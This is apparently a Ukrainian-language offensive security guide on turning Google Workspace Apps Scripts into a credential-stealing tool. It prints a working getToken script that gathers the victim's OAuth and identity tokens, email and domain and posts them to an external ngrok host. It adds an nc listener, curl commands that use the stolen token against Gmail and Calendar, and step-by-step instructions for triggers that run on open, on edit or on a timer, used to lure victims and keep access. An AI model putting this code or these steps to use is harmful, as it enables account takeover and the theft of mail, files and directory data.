GWS - App Scripts

Reading time: 8 minutes

App Scripts

App Scripts - це код, який буде активовано, коли користувач з правами редактора отримує доступ до документа, з яким пов'язаний App Script і після прийняття запиту OAuth.
Вони також можуть бути налаштовані на виконання через певний проміжок часу власником App Script (Persistence).

Створити App Script

Існує кілька способів створити App Script, хоча найпоширеніші з них - це з Google Документу (будь-якого типу) та як окремий проект:

Сценарій App Script

Створити Google Sheet з App Script

Почніть зі створення App Script, моя рекомендація для цього сценарію - створити Google Sheet і перейти до Розширення > App Scripts, це відкриє новий App Script, пов'язаний з таблицею.

Leak token

Щоб надати доступ до токена OAuth, вам потрібно натиснути на Сервіси + і додати області, такі як:

• AdminDirectory: Доступ до користувачів і груп каталогу (якщо у користувача достатньо прав)
• Gmail: Для доступу до даних gmail
• Drive: Для доступу до даних диска
• Google Sheets API: Щоб це працювало з тригером

Щоб змінити необхідні області, ви можете перейти до налаштувань проекту та увімкнути: Показати файл маніфесту "appsscript.json" в редакторі.

function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()

// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}

// Send data
makePostRequest(data)

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)

// To ask for drive permissions
var files = DriveApp.getFiles()
}

function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"

var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}

try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}

Щоб захопити запит, ви можете просто виконати:

ngrok tcp 4444
nc -lv 4444 #macOS

Запити на дозволи для виконання App Script:

Створити тригер

Після того, як App буде прочитано, натисніть на ⏰ Тригери, щоб створити тригер. Як функцію для виконання виберіть getToken, запускається при розгортанні Head, у джерелі події виберіть З таблиці та тип події виберіть При відкритті або При редагуванні (згідно з вашими потребами) і збережіть.

Зверніть увагу, що ви можете перевірити виконання App Scripts на вкладці Виконання, якщо хочете відлагодити щось.

Спільний доступ

Щоб запустити App Script, жертва повинна підключитися з доступом редактора.

Зловживання документами, спільно надісланими мені

Копіювання замість спільного доступу

Коли ви створюєте посилання для спільного доступу до документа, створюється посилання, подібне до цього: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit
Якщо ви зміните закінчення "/edit" на "/copy", замість доступу до нього Google запитає вас, чи хочете ви створити копію документа:

Якщо користувач копіює його та отримує доступ, як вміст документа, так і App Scripts будуть скопійовані, однак тригери не будуть, тому нічого не буде виконано.

Спільний доступ як веб-додаток

Зверніть увагу, що також можливо поділитися App Script як веб-додатком (в редакторі App Script, розгорніть як веб-додаток), але з'явиться сповіщення, подібне до цього:

Після цього з'явиться типове запит OAuth, що запитує необхідні дозволи.

Тестування

Ви можете протестувати зібраний токен для переліку електронних адрес за допомогою:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Список календаря користувача:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script як постійний доступ

Один з варіантів постійного доступу - це створити документ і додати тригер для функції getToken та поділитися документом з атакуючим, щоб кожного разу, коли атакуючий відкриває файл, він екстрагує токен жертви.

Також можливо створити App Script і налаштувати його тригер на кожен X час (наприклад, кожну хвилину, годину, день...). Атакуючий, який компрометував облікові дані або сесію жертви, може налаштувати тригер часу App Script і щодня витікати дуже привілейований OAuth токен:

Просто створіть App Script, перейдіть до Тригерів, натисніть Додати тригер і виберіть як джерело події Часовий тригер, а також виберіть опції, які вам найбільше підходять:

Обхід неперевіреного запиту спільного документа

Більше того, якщо хтось поділився з вами документом з доступом редактора, ви можете створювати App Scripts всередині документа, а ВЛАСНИК (творець) документа буде власником App Script.